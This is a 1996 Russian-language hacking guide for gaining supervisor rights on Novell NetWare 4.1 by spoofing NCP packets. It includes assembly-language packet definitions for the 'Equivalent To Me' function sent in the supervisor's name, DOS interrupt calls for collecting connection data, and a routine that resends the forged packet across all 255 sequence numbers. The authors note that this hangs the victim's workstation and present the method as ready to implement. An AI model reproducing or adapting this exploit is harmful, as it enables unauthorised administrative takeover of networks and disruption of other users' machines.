КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1 ------------------------------- Гусев Игорь и Ильченко Евгений 1996 Содержание Введение...............................................................3 1.Принцип обмена пакетами..............................................4 2.Общая идея взлома....................................................4 3.Как получить права супервизора.......................................5 4.Последствия..........................................................7 Заключение............................................................10 Введение Как вы знаете все может быть сломано и NOVELL NETWARE не является ис- ключением. Однако время взлома чего-нибудь зависит от времени получения информации о этом. Чем больше информации вы найдете, тем проще вам бу- дет взламывать. В этом документе мы хотели немного рассказать о сети NOVELL и о том как ее взломать. 1.Принцип обмена пакетами. Прежде всего, сервер и рабочие станции посылают пакеты друг другу в соответствие со специальным протоколом известным как Netware Core Protocol ( NCP ) основанным на протоколе IPX. Все пакеты подписываются уникальным номером в диапозоне от 0 до 255 хранящемся в одном байте. Это поле известно как Sequence Number. Смотрите на структуру пакета. Структура пакета Поле Число Положение азначение байт в памяти -------------------- Физический заголовок пакета ----------------------- ReceiverAddress 6 Normal Адрес рабочей станции , которая бу- дет получать пакет SenderAddress 6 Normal Адрес рабочей станции , которая по- сылает пакет DataLength 2 High-Low Длина пакета ----------------------- Заголовок протокола IPX ------------------------ CheckSum 2 Normal Контрольная сумма IpxLength 2 High-Low Длина пакета HopCount 1 - Число мостов PacketType 1 - Тип пакета DestNetwork 4 Normal Адрес сети назначения DestNode 6 Normal Адрес станции назначения DestSocket 2 Low-High Сокет программы назначения SourceNetwork 4 Normal Адрес сети источника SourceNode 6 Normal Адрес станции источника SourceSocket 2 Low-High Сокет программы источника ---------------------- Заголовок протокола NCP ------------------------- RequestType 2 Low-High Зависит от запроса SequenceNumber 1 - омер пакета ConectionNumberLow 1 - омер соединения.азначается во время подсоединения станции к сер- веру TaskNumber 1 - омер задачи.Это для рабочей стан- ции наверно. е стоит о нем заботи- ться.Просто поставте 0 или любое значение. ConectionNumberHigh 1 - Всегда 0. FunctionCode 1 - Идентификатор функции ------------------------ Данные протокола NCP ------------------------- - - - Зависит от типа запроса и функции Инициатором является станция. Она посылает пакет с запросом и ждет от- вета. Сервер получая запрос, проверяет адрес станции , адрес сети , со- кет , номер соединения и sequence number. Если что-нибудь не в порядке сервер отказывается выполнять запрашиваемую операцию и посылать ответ. 2.Общая идея взлома. Как было сказано выше сервер проверяет все пакеты, которые он полу- чает. о если сформировать пакет как это делает другая станция, поста- вить ее адрес, номер соединения и т.д. и послать его в сеть, то сервер никогда не узнает чей запрос он выполняет. Основная трудность - sequence number, потому что другие поля могут быть получены с помощью обычных функций. Чтобы быть уверенным, что сервер выполнил операцию нужно пос- лать тот же самый пакет 255 раз с разными sequens numbers. 3.Как получить права супервизора Вы можете получить права супервизора просто став его эквиваленитом. Есть функция известная как EQUEVALENT TO ME , которую следует посылать от имени супервизора. Смотрите на структуру пакета. Структура пакета с фукцией EQUEVALENT TO ME --------------------- Заголовок физического пакета --------------------- RecAdr db 00,20h,0afh,4fh,5fh,0ah SndAdr db 00,20h,0afh,089h,022h,0afh DataLength db 01,68h ------------------------- Заголовок IPX пакета ------------------------- dw 0ffffh IpxLength db 01,67h db 0 db 17 DestNetwork db ?,?,?,? DestNode db ?,?,?,?,?,? DestSocket db 04,51h SourceNetWork db 00,00,01,02 SourceNode db ?,?,?,?,?,? SourceSocket db 40h,03 ------------------------ Заголовок пакета NCP ------------------------- db 22h,22h SequenceNumber db 48 ConnectionNumberLow db 24 db 4 db 0 db 68h db 2 -------------------------- Данные пакета NCP -------------------------- dd -1 dd 514 S1_2: dd offset S1_1 - offset S1_2-4 dd 0 dd 9 dd 0 dd 0 dd 0 S1ID db 67h,02h,00,06h dd 1 dd 5 dd 34 db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0 db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0 dd 0 dd 1 dd 26 db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0 db '.',0,'T',0,'S',0,'U',0 S1_1: Чтобы получить адрес, сеть, сокет, ID, номер соединения используй- те след. функции. Получить номер соединения ah=E3h ds:si=> ConReq dw 2 - длина db 16h - подфункция db ? - номер соединения es:di=> ConRep dw 62 - длина db 4 dup (?) dw ? - тип пользователя db 56 duo (?) - имя пользователя int 21h Вы можете послать пакет через IPX драйвер (функция 9), однако в этом случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем, что сервер не проверяет адрес отправителя там. Вы также можете послать через LSL драйвер, но это слишком сложно. Самый простой способ - послать через ODIPKT драйвер ( функция 4 ). Послать пакет через Odipkt ah=4 cx=длина ds:si=>пакет int 60h C=1 если ошибка Процедура посылки пакетов Send proc mov SequenceNumber,0 @@1: push ds push es mov ah,4 mov cx,Length mov si,offset Packet int 60h pop es pop ds jc @@1 mov cx,1000 loop $-2 dec SequenceNumber jne @@1 ret Send endp 4.Последствия. После ответа на пакет сервер ждет следующего с увеличенным на 1 sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж- ду сервером и станцией, последняя повиснет. Этого можно избежать посыл- кой еще 255*256 пакетов. Заключение Если вы реализуете программу по этому документу у вас будут права супервизора. Мы надеемся, что вы не будете вредить таким же пользовате- лям, каким вы до этого были. Copyright 1995. by dISEr&_Igor_ (http://www.tsu.tomsk.su/~eugene/) Все комментарии, предожения, вопросы шлите по адресу : eugene@info.tsu.tomsk.su